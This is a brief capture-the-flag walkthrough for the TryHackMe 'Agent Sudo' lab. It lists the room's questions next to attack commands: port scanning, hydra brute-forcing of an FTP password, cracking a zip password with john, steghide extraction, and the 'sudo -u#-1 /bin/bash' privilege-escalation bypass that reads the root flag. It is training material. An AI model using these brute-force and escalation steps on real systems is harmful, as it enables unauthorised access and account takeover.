Agent Sudo

https://tryhackme.com/room/agentsudoctf

INIT

export agentsudo=10.10.172.140
ping $agentsudo

echo "10.10.172.140 agentsudo.thm" >> /etc/hosts

Task 2 Enumerate

nmap -v -sC -sV -O -T5 -p1-65535 agentsudo.thm

How many open ports?

How you redirect yourself to a secret page?

Switch User-Agent to C

What is the agent name?

Task 3 Hash cracking and brute-force

FTP password

hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://agentsudo.thm -t 50

Zip file password

binwalk -e cutie.png

zip2john 8702.zip > ziphash.txt
john ziphash.txt --wordlist=/usr/share/wordlists/rockyou.txt

steg password

steghide extract -sf cute-alien.jpg

Who is the other agent (in full name)?

SSH password

Task 4 Capture the user flag

What is the user flag?

What is the incident of the photo called?

scp james@agentsudo.thm:/home/james/Alien_autospy.jpg .

Task 5 Privilege escalation

sudo -l

CVE number for the escalation

What is the root flag?

sudo -u#-1 /bin/bash
cat /root/root.txt

(Bonus) Who is Agent R?

Last updated

Was this helpful?